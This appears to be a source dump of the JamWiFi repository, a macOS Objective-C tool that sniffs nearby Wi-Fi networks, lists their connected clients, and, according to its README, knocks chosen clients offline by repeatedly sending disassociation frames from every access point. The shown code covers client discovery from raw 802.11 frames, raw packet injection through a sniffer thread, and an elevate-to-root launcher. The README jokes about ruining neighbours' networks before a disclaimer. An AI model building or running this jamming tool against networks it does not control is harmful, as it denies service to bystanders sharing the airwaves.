setAutoresizingMask:(NSViewMinXMargin)]; 107 | } 108 | 109 | - (void)backButton:(id)sender { 110 | [sniffer stop]; 111 | [sniffer setDelegate:nil]; 112 | sniffer = nil; 113 | [(ANAppDelegate *)[NSApp delegate] showNetworkList]; 114 | } 115 | 116 | - (void)continueButton:(id)sender { 117 | ANClientKiller * killer = [[ANClientKiller alloc] initWithFrame:self.bounds sniffer:sniffer networks:networks clients:allClients]; 118 | [(ANAppDelegate *)[NSApp delegate] pushView:killer direction:ANViewSlideDirectionForward]; 119 | } 120 | 121 | #pragma mark - Table View - 122 | 123 | - (NSInteger)numberOfRowsInTableView:(NSTableView *)tableView { 124 | return [allClients count]; 125 | } 126 | 127 | - (id)tableView:(NSTableView *)tableView objectValueForTableColumn:(NSTableColumn *)tableColumn row:(NSInteger)row { 128 | ANClient * client = [allClients objectAtIndex:row]; 129 | if ([[tableColumn identifier] isEqualToString:@"station"]) { 130 | return MACToString(client.macAddress); 131 | } else if ([[tableColumn identifier] isEqualToString:@"bssid"]) { 132 | return MACToString(client.bssid); 133 | } else if ([[tableColumn identifier] isEqualToString:@"count"]) { 134 | return [NSNumber numberWithInt:client.packetCount]; 135 | } else if ([[tableColumn identifier] isEqualToString:@"enabled"]) { 136 | return [NSNumber numberWithBool:client.enabled]; 137 | } else if ([[tableColumn identifier] isEqualToString:@"rssi"]) { 138 | return [NSNumber numberWithFloat:client.rssi]; 139 | } 140 | return nil; 141 | } 142 | 143 | - (void)tableView:(NSTableView *)tableView setObjectValue:(id)object forTableColumn:(NSTableColumn *)tableColumn row:(NSInteger)row { 144 | ANClient * client = [allClients objectAtIndex:row]; 145 | if ([[tableColumn identifier] isEqualToString:@"enabled"]) { 146 | client.enabled = [object boolValue]; 147 | } 148 | } 149 | 150 | - (NSCell *)tableView:(NSTableView *)tableView dataCellForTableColumn:(NSTableColumn *)tableColumn row:(NSInteger)row { 151 | if ([[tableColumn identifier] isEqualToString:@"enabled"]) { 152 | NSButtonCell * cell = [[NSButtonCell alloc] init]; 153 | [cell setButtonType:NSSwitchButton]; 154 | [cell setTitle:@""]; 155 | return cell; 156 | } 157 | return nil; 158 | } 159 | 160 | #pragma mark - WiFi - 161 | 162 | - (BOOL)includesBSSID:(const unsigned char *)bssid { 163 | for (CWNetwork * network in networks) { 164 | if ([MACToString(bssid) isEqualToString:network.bssid]) { 165 | return YES; 166 | } 167 | } 168 | return NO; 169 | } 170 | 171 | - (void)hopChannel { 172 | channelIndex += 1; 173 | if (channelIndex >= [channels count]) { 174 | channelIndex = 0; 175 | } 176 | [sniffer setChannel:[channels objectAtIndex:channelIndex]]; 177 | } 178 | 179 | #pragma mark WiFi Sniffer 180 | 181 | - (void)wifiSnifferFailedToOpenInterface:(ANWiFiSniffer *)sniffer { 182 | NSRunAlertPanel(@"Interface Error", @"Failed to open sniffer interface.", @"OK", nil, nil); 183 | } 184 | 185 | - (void)wifiSniffer:(ANWiFiSniffer *)sniffer failedWithError:(NSError *)error { 186 | NSRunAlertPanel(@"Sniff Error", @"Got a sniff error. Please try again.", @"OK", nil, nil); 187 | } 188 | 189 | - (void)wifiSniffer:(ANWiFiSniffer *)sniffer gotPacket:(AN80211Packet *)packet { 190 | BOOL hasClient = NO; 191 | unsigned char client[6]; 192 | unsigned char bssid[6]; 193 | if ([packet dataFCS] != [packet calculateFCS]) return; 194 | if (packet.macHeader->frame_control.from_ds == 0 && packet.macHeader->frame_control.to_ds == 1) { 195 | memcpy(bssid, packet.macHeader->mac1, 6); 196 | if (![self includesBSSID:bssid]) return; 197 | memcpy(client, packet.macHeader->mac2, 6); 198 | hasClient = YES; 199 | } else if (packet.macHeader->frame_control.from_ds == 0 && packet.macHeader->frame_control.to_ds == 0) { 200 | memcpy(bssid, packet.macHeader->mac3, 6); 201 | if (![self includesBSSID:bssid]) return; 202 | if (memcmp(packet.macHeader->mac2, packet.macHeader->mac3, 6) != 0) { 203 | memcpy(client, packet.macHeader->mac2, 6); 204 | hasClient = YES; 205 | } 206 | } else if (packet.macHeader->frame_control.from_ds == 1 && packet.macHeader->frame_control.to_ds == 0) { 207 | memcpy(bssid, packet.macHeader->mac2, 6); 208 | if (![self includesBSSID:bssid]) return; 209 | memcpy(client, packet.macHeader->mac1, 6); 210 | hasClient = YES; 211 | } 212 | if (client[0] == 0x33 && client[1] == 0x33) hasClient = NO; 213 | if (client[0] == 0x01 && client[1] == 0x00) hasClient = NO; 214 | if (client[0] == 0xFF && client[1] == 0xFF) hasClient = NO; 215 | if (hasClient) { 216 | ANClient * clientObj = [[ANClient alloc] initWithMac:client bssid:bssid]; 217 | if (![allClients containsObject:clientObj]) { 218 | [allClients addObject:clientObj]; 219 | } else { 220 | ANClient * origClient = [allClients objectAtIndex:[allClients indexOfObject:clientObj]]; 221 | origClient.packetCount += 1; 222 | origClient.rssi = (float)packet.rssi; 223 | } 224 | [clientsTable reloadData]; 225 | } 226 | } 227 | 228 | @end 229 | -------------------------------------------------------------------------------- /JamWiFi/CarbonAppProcess.h: -------------------------------------------------------------------------------- 1 | // 2 | // CarbonAppProcess.h 3 | // AutoConvert 4 | // 5 | // Created by Alex Nichol on 7/3/11. 6 | // Copyright 2011 Alex Nichol. All rights reserved. 7 | // 8 | 9 | #import 10 | #import 11 | 12 | @interface CarbonAppProcess : NSObject { 13 | ProcessSerialNumber processSerial; 14 | } 15 | 16 | - (id)initWithProcessSerial:(ProcessSerialNumber)num; 17 | + (CarbonAppProcess *)currentProcess; 18 | + (CarbonAppProcess *)frontmostProcess; 19 | + (CarbonAppProcess *)nextProcess; 20 | - (void)makeFrontmost; 21 | - (void)setHidden:(BOOL)hide; 22 | - (BOOL)isFrontmost; 23 | - (ProcessSerialNumber)serial; 24 | 25 | @end 26 | -------------------------------------------------------------------------------- /JamWiFi/CarbonAppProcess.m: -------------------------------------------------------------------------------- 1 | // 2 | // CarbonAppProcess.m 3 | // AutoConvert 4 | // 5 | // Created by Alex Nichol on 7/3/11. 6 | // Copyright 2011 Alex Nichol. All rights reserved. 7 | // 8 | 9 | #import "CarbonAppProcess.h" 10 | 11 | 12 | @implementation CarbonAppProcess 13 | 14 | - (id)init { 15 | if ((self = [super init])) { 16 | // Initialization code here. 17 | } 18 | return self; 19 | } 20 | 21 | - (id)initWithProcessSerial:(ProcessSerialNumber)num { 22 | if ((self = [super init])) { 23 | processSerial = num; 24 | } 25 | return self; 26 | } 27 | 28 | + (CarbonAppProcess *)currentProcess { 29 | ProcessSerialNumber frontmost; 30 | GetCurrentProcess(&frontmost); 31 | return [[CarbonAppProcess alloc] initWithProcessSerial:frontmost]; 32 | } 33 | 34 | + (CarbonAppProcess *)frontmostProcess { 35 | ProcessSerialNumber frontmost; 36 | GetFrontProcess(&frontmost); 37 | return [[CarbonAppProcess alloc] initWithProcessSerial:frontmost]; 38 | } 39 | 40 | + (CarbonAppProcess *)nextProcess { 41 | ProcessSerialNumber next; 42 | if (GetNextProcess(&next) != noErr) { 43 | NSLog(@"No next process"); 44 | return nil; 45 | } 46 | return [[CarbonAppProcess alloc] initWithProcessSerial:next]; 47 | } 48 | 49 | - (void)makeFrontmost { 50 | SetFrontProcessWithOptions(&processSerial, kSetFrontProcessFrontWindowOnly); 51 | } 52 | 53 | - (void)setHidden:(BOOL)hide { 54 | ShowHideProcess(&processSerial, hide^1); 55 | } 56 | 57 | - (BOOL)isFrontmost { 58 | ProcessSerialNumber psn; 59 | GetFrontProcess(&psn); 60 | 61 | Boolean result = FALSE; 62 | SameProcess(&psn, &processSerial, &result); 63 | return (BOOL)result; 64 | } 65 | 66 | - (BOOL)isEqual:(id)object { 67 | if ([object isKindOfClass:[CarbonAppProcess class]]) { 68 | ProcessSerialNumber mySerial = processSerial; 69 | ProcessSerialNumber theirSerial = (ProcessSerialNumber)([(CarbonAppProcess *)object serial]); 70 | if (mySerial.lowLongOfPSN == theirSerial.lowLongOfPSN) { 71 | if (mySerial.highLongOfPSN == theirSerial.highLongOfPSN) { 72 | return YES; 73 | } 74 | } 75 | } 76 | return NO; 77 | } 78 | 79 | - (ProcessSerialNumber)serial { 80 | return processSerial; 81 | } 82 | 83 | @end 84 | -------------------------------------------------------------------------------- /JamWiFi/JamWiFi-Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | en 7 | CFBundleExecutable 8 | ${EXECUTABLE_NAME} 9 | CFBundleIconFile 10 | radio.icns 11 | CFBundleIdentifier 12 | com.aqnichol.JamWiFi 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundleName 16 | ${PRODUCT_NAME} 17 | CFBundlePackageType 18 | APPL 19 | CFBundleShortVersionString 20 | 1.1 21 | CFBundleSignature 22 | ???? 23 | CFBundleVersion 24 | 1.1 25 | LSMinimumSystemVersion 26 | ${MACOSX_DEPLOYMENT_TARGET} 27 | NSHumanReadableCopyright 28 | Copyright © 2012 Jitsik. All rights reserved. 29 | NSMainNibFile 30 | MainMenu 31 | NSPrincipalClass 32 | NSApplication 33 | 34 | 35 | -------------------------------------------------------------------------------- /JamWiFi/JamWiFi-Prefix.pch: -------------------------------------------------------------------------------- 1 | // 2 | // Prefix header for all source files of the 'JamWiFi' target in the 'JamWiFi' project 3 | // 4 | 5 | #ifdef __OBJC__ 6 | #import 7 | #endif 8 | -------------------------------------------------------------------------------- /JamWiFi/en.lproj/Credits.rtf: -------------------------------------------------------------------------------- 1 | {\rtf0\ansi{\fonttbl\f0\fswiss Helvetica;} 2 | {\colortbl;\red255\green255\blue255;} 3 | \paperw9840\paperh8400 4 | \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\ql\qnatural 5 | 6 | \f0\b\fs24 \cf0 Engineering: 7 | \b0 \ 8 | Some people\ 9 | \ 10 | 11 | \b Human Interface Design: 12 | \b0 \ 13 | Some other people\ 14 | \ 15 | 16 | \b Testing: 17 | \b0 \ 18 | Hopefully not nobody\ 19 | \ 20 | 21 | \b Documentation: 22 | \b0 \ 23 | Whoever\ 24 | \ 25 | 26 | \b With special thanks to: 27 | \b0 \ 28 | Mom\ 29 | } 30 | -------------------------------------------------------------------------------- /JamWiFi/en.lproj/InfoPlist.strings: -------------------------------------------------------------------------------- 1 | /* Localized versions of Info.plist keys */ 2 | 3 | -------------------------------------------------------------------------------- /JamWiFi/en.lproj/MainMenu.xib: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | 492 | 493 | 494 | 495 | 496 | 497 | 498 | 499 | 500 | 501 | 502 | 503 | 504 | 505 | 506 | 507 | 508 | 509 | 510 | 511 | 512 | 513 | 514 | 515 | 516 | 517 | 518 | 519 | 520 | 521 | 522 | Default 523 | 524 | 525 | 526 | 527 | 528 | 529 | Left to Right 530 | 531 | 532 | 533 | 534 | 535 | 536 | Right to Left 537 | 538 | 539 | 540 | 541 | 542 | 543 | 544 | 545 | 546 | 547 | Default 548 | 549 | 550 | 551 | 552 | 553 | 554 | Left to Right 555 | 556 | 557 | 558 | 559 | 560 | 561 | Right to Left 562 | 563 | 564 | 565 | 566 | 567 | 568 | 569 | 570 | 571 | 572 | 573 | 574 | 575 | 576 | 577 | 578 | 579 | 580 | 581 | 582 | 583 | 584 | 585 | 586 | 587 | 588 | 589 | 590 | 591 | 592 | 593 | 594 | 595 | 596 | 597 | 598 | 599 | 600 | 601 | 602 | 603 | 604 | 605 | 606 | 607 | 608 | 609 | 610 | 611 | 612 | 613 | 614 | 615 | 616 | 617 | 618 | 619 | 620 | 621 | 622 | 623 | 624 | 625 | 626 | 627 | 628 | 629 | 630 | 631 | 632 | 633 | 634 | 635 | 636 | 637 | 638 | 639 | 640 | 641 | 642 | 643 | 644 | 645 | 646 | 647 | 648 | 649 | 650 | 651 | 652 | 653 | 654 | 655 | 656 | 657 | 658 | 659 | 660 | 661 | 662 | 663 | 664 | 665 | 666 | 667 | 668 | 669 | 670 | -------------------------------------------------------------------------------- /JamWiFi/main.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/25/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | #import 11 | #import 12 | #import 13 | 14 | int main(int argc, char *argv[]) { 15 | 16 | @autoreleasepool { 17 | if (geteuid()) { 18 | OSStatus myStatus; 19 | AuthorizationFlags myFlags = kAuthorizationFlagDefaults; 20 | AuthorizationRef myAuthorizationRef; 21 | 22 | myStatus = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, myFlags, &myAuthorizationRef); 23 | if (myStatus != errAuthorizationSuccess) return myStatus; 24 | 25 | AuthorizationItem myItems = {kAuthorizationRightExecute, 0, NULL, 0}; 26 | AuthorizationRights myRights = {1, &myItems}; 27 | myFlags = kAuthorizationFlagDefaults | 28 | kAuthorizationFlagInteractionAllowed | 29 | kAuthorizationFlagPreAuthorize | 30 | kAuthorizationFlagExtendRights; 31 | myStatus = AuthorizationCopyRights(myAuthorizationRef, &myRights, NULL, myFlags, NULL ); 32 | 33 | 34 | if (myStatus != errAuthorizationSuccess) { 35 | NSRunAlertPanel(@"Cannot run without admin privileges", @"This program cannot tap into the wireless network stack without administrator access.", @"OK", nil, nil); 36 | return 1; 37 | } 38 | 39 | 40 | const char * myToolPath = [[[NSBundle mainBundle] executablePath] UTF8String]; 41 | char * myArguments[] = {NULL}; 42 | 43 | myFlags = kAuthorizationFlagDefaults; 44 | myStatus = AuthorizationExecuteWithPrivileges(myAuthorizationRef, myToolPath, myFlags, myArguments, 45 | NULL); 46 | AuthorizationFree(myAuthorizationRef, kAuthorizationFlagDefaults); 47 | exit(0); 48 | } 49 | return NSApplicationMain(argc, (const char **)argv); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /JamWiFi/radio.icns: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unixpickle/JamWiFi/05ca0e6dfadd3b51d482e361e6149e2978015999/JamWiFi/radio.icns -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Deprecated 2 | ========== 3 | 4 | *JamWiFi* is no longer being actively developed. See other projects like [0x0XDev/JamWiFi](https://github.com/0x0XDev/JamWiFi). 5 | 6 | What Does It Do? 7 | ================ 8 | 9 | JamWiFi allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients of your choosing for as long as you wish. 10 | 11 | How Does It Work? 12 | ================= 13 | 14 | Under the hood, JamWiFi uses Apple's CoreWLAN API for channel hopping and network scanning. For a raw packet interface, libpcap provides a good point of abstraction for sending/receiving raw 802.11 frames at the MAC layer. All 802.11 MAC packets include a MAC address source and destination. This allows JamWiFi to determine the stations on a given Access Point. 15 | 16 | JamWiFi "kicks off" clients using a disassociation frame. When a client receives a disassociation frame from an Access Point, it will assume that any connection which it had with the AP is no longer active. However, once a client receives a disassociation frame, it may immediately attempt to establish a new session with the AP. To prevent against this, JamWiFi continually sends disassociation frames to every client quite frequently. 17 | 18 | Caveats 19 | ======= 20 | 21 | Some networks include more than one Access Point. Moreover, there may be scenarios in which more than one usable WiFi network is available to a client. In this scenario, even if a client is disassociated from one AP, it may successfully be able to establish a session with another AP. To overcome this, JamWiFi sends disassociation frames to every client from every AP, whether or not that client may be associated with the AP. While this may seem like unnecessary overhead, it is necessary for more complex networks with >1 access point. 22 | 23 | I can't wait to ruin my neighbors' networks! 24 | -------------------------------------------- 25 | 26 | Just a second, there. I am not responsible for any damage you may do to anybody using this tool. This is for experimental and learning purposes only. Please, please, please, think twice before you do something stupid with this. How would you like it if your WiFi never worked because you had a jerk for a neighbor? 27 | -------------------------------------------------------------------------------- /Wireless/ANClient.h: -------------------------------------------------------------------------------- 1 | // 2 | // ANClient.h 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/25/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface ANClient : NSObject { 12 | unsigned char * macAddress; 13 | unsigned char * bssid; 14 | int packetCount; 15 | int deauthsSent; 16 | BOOL enabled; 17 | } 18 | 19 | @property (readwrite) int packetCount; 20 | @property (readwrite) int deauthsSent; 21 | @property (readonly) unsigned char * macAddress; 22 | @property (readonly) unsigned char * bssid; 23 | @property (readwrite) float rssi; 24 | @property (readwrite) BOOL enabled; 25 | 26 | - (id)initWithMac:(const unsigned char *)mac bssid:(const unsigned char *)aBSSID; 27 | 28 | @end 29 | -------------------------------------------------------------------------------- /Wireless/ANClient.m: -------------------------------------------------------------------------------- 1 | // 2 | // ANClient.m 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/25/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import "ANClient.h" 10 | 11 | @implementation ANClient 12 | 13 | @synthesize packetCount; 14 | @synthesize deauthsSent; 15 | @synthesize macAddress; 16 | @synthesize bssid; 17 | @synthesize rssi; 18 | @synthesize enabled; 19 | 20 | - (id)initWithMac:(const unsigned char *)mac bssid:(const unsigned char *)aBSSID { 21 | if ((self = [super init])) { 22 | macAddress = (unsigned char *)malloc(6); 23 | bssid = (unsigned char *)malloc(6); 24 | packetCount = 0; 25 | memcpy(macAddress, mac, 6); 26 | memcpy(bssid, aBSSID, 6); 27 | enabled = YES; 28 | } 29 | return self; 30 | } 31 | 32 | - (BOOL)isEqual:(id)object { 33 | if (![object isKindOfClass:[self class]]) return NO; 34 | ANClient * client = (ANClient *)object; 35 | if (memcmp(client.bssid, bssid, 6) == 0 && memcmp(client.macAddress, macAddress, 6) == 0) { 36 | return YES; 37 | } 38 | return NO; 39 | } 40 | 41 | - (void)dealloc { 42 | free(macAddress); 43 | free(bssid); 44 | } 45 | 46 | @end 47 | -------------------------------------------------------------------------------- /Wireless/ANWiFiSniffer.h: -------------------------------------------------------------------------------- 1 | // 2 | // ANWiFiSniffer.h 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/25/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | #import "ANInterface.h" 11 | 12 | @class ANWiFiSniffer; 13 | 14 | @protocol ANWiFiSnifferDelegate 15 | 16 | - (void)wifiSnifferFailedToOpenInterface:(ANWiFiSniffer *)sniffer; 17 | - (void)wifiSniffer:(ANWiFiSniffer *)sniffer failedWithError:(NSError *)error; 18 | - (void)wifiSniffer:(ANWiFiSniffer *)sniffer gotPacket:(AN80211Packet *)packet; 19 | 20 | @end 21 | 22 | @interface ANWiFiSniffer : NSObject { 23 | ANInterface * interface; 24 | NSString * interfaceName; 25 | NSThread * backgroundThread; 26 | NSMutableArray * writeBuffer; 27 | __unsafe_unretained id delegate; 28 | NSLock * channelLock; 29 | CWChannel * hopChannel; 30 | } 31 | 32 | @property (nonatomic, assign) id delegate; 33 | 34 | - (id)initWithInterfaceName:(NSString *)name; 35 | - (void)start; 36 | - (void)stop; 37 | - (BOOL)writePacket:(AN80211Packet *)packet; 38 | - (void)setChannel:(CWChannel *)channel; 39 | 40 | @end 41 | -------------------------------------------------------------------------------- /Wireless/ANWiFiSniffer.m: -------------------------------------------------------------------------------- 1 | // 2 | // ANWiFiSniffer.m 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/25/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import "ANWiFiSniffer.h" 10 | 11 | @interface ANWiFiSniffer (Private) 12 | 13 | - (void)backgroundThread; 14 | - (void)informDelegateOpenFailed; 15 | - (void)informDelegateError:(NSError *)error; 16 | - (void)informDelegatePacket:(AN80211Packet *)packet; 17 | - (void)finishBackgroundThread; 18 | 19 | @end 20 | 21 | @implementation ANWiFiSniffer 22 | 23 | @synthesize delegate; 24 | 25 | - (id)initWithInterfaceName:(NSString *)name { 26 | if ((self = [super init])) { 27 | interfaceName = name; 28 | writeBuffer = [[NSMutableArray alloc] init]; 29 | channelLock = [[NSLock alloc] init]; 30 | } 31 | return self; 32 | } 33 | 34 | - (void)start { 35 | if (backgroundThread) return; 36 | @synchronized (writeBuffer) { 37 | [writeBuffer removeAllObjects]; 38 | } 39 | backgroundThread = [[NSThread alloc] initWithTarget:self selector:@selector(backgroundThread) object:nil]; 40 | [backgroundThread start]; 41 | } 42 | 43 | - (void)stop { 44 | if (!backgroundThread) return; 45 | [backgroundThread cancel]; 46 | backgroundThread = nil; 47 | } 48 | 49 | - (BOOL)writePacket:(AN80211Packet *)packet { 50 | if (!backgroundThread) return NO; 51 | @synchronized (writeBuffer) { 52 | [writeBuffer addObject:packet]; 53 | } 54 | return YES; 55 | } 56 | 57 | - (void)setChannel:(CWChannel *)channel { 58 | [channelLock lock]; 59 | hopChannel = channel; 60 | [channelLock unlock]; 61 | } 62 | 63 | #pragma mark - Background - 64 | 65 | - (void)backgroundThread { 66 | @autoreleasepool { 67 | interface = [[ANInterface alloc] initWithInterface:interfaceName]; 68 | if (!interface) { 69 | [self informDelegateOpenFailed]; 70 | return; 71 | } 72 | AN80211Packet * packet = nil; 73 | while (true) { 74 | @autoreleasepool { 75 | if ([[NSThread currentThread] isCancelled]) { 76 | [interface closeInterface]; 77 | interface = nil; 78 | return; 79 | } 80 | [channelLock lock]; 81 | if (hopChannel) { 82 | [interface setChannel:hopChannel.channelNumber]; 83 | hopChannel = nil; 84 | } 85 | [channelLock unlock]; 86 | @try { 87 | packet = [interface nextPacket:NO]; 88 | } @catch (NSException * exception) { 89 | [self informDelegateError:[NSError errorWithDomain:@"pcap_next_ex" code:1 userInfo:nil]]; 90 | [interface closeInterface]; 91 | interface = nil; 92 | return; 93 | } 94 | if ([[NSThread currentThread] isCancelled]) { 95 | [interface closeInterface]; 96 | interface = nil; 97 | return; 98 | } 99 | if (packet) [self informDelegatePacket:packet]; 100 | AN80211Packet * wPacket = nil; 101 | @synchronized (writeBuffer) { 102 | if ([writeBuffer count] > 0) { 103 | wPacket = [writeBuffer objectAtIndex:0]; 104 | [writeBuffer removeObjectAtIndex:0]; 105 | } 106 | } 107 | if (wPacket) { 108 | if (![interface writePacket:wPacket]) { 109 | [self informDelegateError:[NSError errorWithDomain:@"pcap_inject" code:1 userInfo:nil]]; 110 | interface = nil; 111 | return; 112 | } 113 | } 114 | if (!packet && !wPacket) { 115 | usleep(5000); // sleep for 5 milliseconds 116 | } 117 | } 118 | } 119 | } 120 | } 121 | 122 | - (void)informDelegateOpenFailed { 123 | if (![[NSThread currentThread] isMainThread]) { 124 | [self performSelectorOnMainThread:@selector(informDelegateOpenFailed) withObject:nil waitUntilDone:NO]; 125 | return; 126 | } 127 | backgroundThread = nil; 128 | if ([delegate respondsToSelector:@selector(wifiSnifferFailedToOpenInterface:)]) { 129 | [delegate wifiSnifferFailedToOpenInterface:self]; 130 | } 131 | } 132 | 133 | - (void)informDelegateError:(NSError *)error { 134 | if (![[NSThread currentThread] isMainThread]) { 135 | [self performSelectorOnMainThread:@selector(informDelegateError:) withObject:error waitUntilDone:NO]; 136 | return; 137 | } 138 | backgroundThread = nil; 139 | if ([delegate respondsToSelector:@selector(wifiSniffer:failedWithError:)]) { 140 | [delegate wifiSniffer:self failedWithError:error]; 141 | } 142 | } 143 | 144 | - (void)informDelegatePacket:(AN80211Packet *)packet { 145 | if (![[NSThread currentThread] isMainThread]) { 146 | [self performSelectorOnMainThread:@selector(informDelegatePacket:) withObject:packet waitUntilDone:NO]; 147 | return; 148 | } 149 | if ([delegate respondsToSelector:@selector(wifiSniffer:gotPacket:)]) { 150 | [delegate wifiSniffer:self gotPacket:packet]; 151 | } 152 | } 153 | 154 | @end 155 | -------------------------------------------------------------------------------- /Wireless/Beacons/ANBeaconFrame.h: -------------------------------------------------------------------------------- 1 | // 2 | // ANBeaconFrame.h 3 | // GroupDeauth 4 | // 5 | // Created by Alex Nichol on 7/19/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | #import "AN80211Packet.h" 11 | #import "ANBeaconPart.h" 12 | 13 | @interface ANBeaconFrame : NSObject { 14 | AN80211Packet * packet; 15 | NSArray * beaconParts; 16 | } 17 | 18 | @property (readonly) AN80211Packet * packet; 19 | 20 | - (id)initWithPacket:(AN80211Packet *)beacon; 21 | - (ANBeaconPart *)beaconPartWithID:(UInt8)anID; 22 | 23 | - (NSString *)essid; 24 | - (NSUInteger)channel; 25 | 26 | @end 27 | -------------------------------------------------------------------------------- /Wireless/Beacons/ANBeaconFrame.m: -------------------------------------------------------------------------------- 1 | // 2 | // ANBeaconFrame.m 3 | // GroupDeauth 4 | // 5 | // Created by Alex Nichol on 7/19/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import "ANBeaconFrame.h" 10 | 11 | @implementation ANBeaconFrame 12 | 13 | @synthesize packet; 14 | 15 | - (id)initWithPacket:(AN80211Packet *)beacon { 16 | if ((self = [super init])) { 17 | packet = beacon; 18 | int bodyOffset = 0x0c; 19 | if (bodyOffset >= packet.bodyLength - 4) return nil; 20 | NSMutableArray * mParts = [NSMutableArray array]; 21 | for (int i = bodyOffset; i < packet.bodyLength - 4; i += 2) { 22 | UInt8 typeID = packet.bodyData[i]; 23 | UInt8 length = packet.bodyData[i + 1]; 24 | // NSLog(@"Type: %d len: %d", typeID, length); 25 | if (length + i + 2 > packet.bodyLength) return nil; 26 | NSData * data = [NSData dataWithBytes:&packet.bodyData[i + 2] length:length]; 27 | ANBeaconPart * part = [[ANBeaconPart alloc] initWithType:typeID data:data]; 28 | [mParts addObject:part]; 29 | i += length; 30 | } 31 | beaconParts = mParts; 32 | } 33 | return self; 34 | } 35 | 36 | - (ANBeaconPart *)beaconPartWithID:(UInt8)anID { 37 | for (ANBeaconPart * part in beaconParts) { 38 | if ([part typeID] 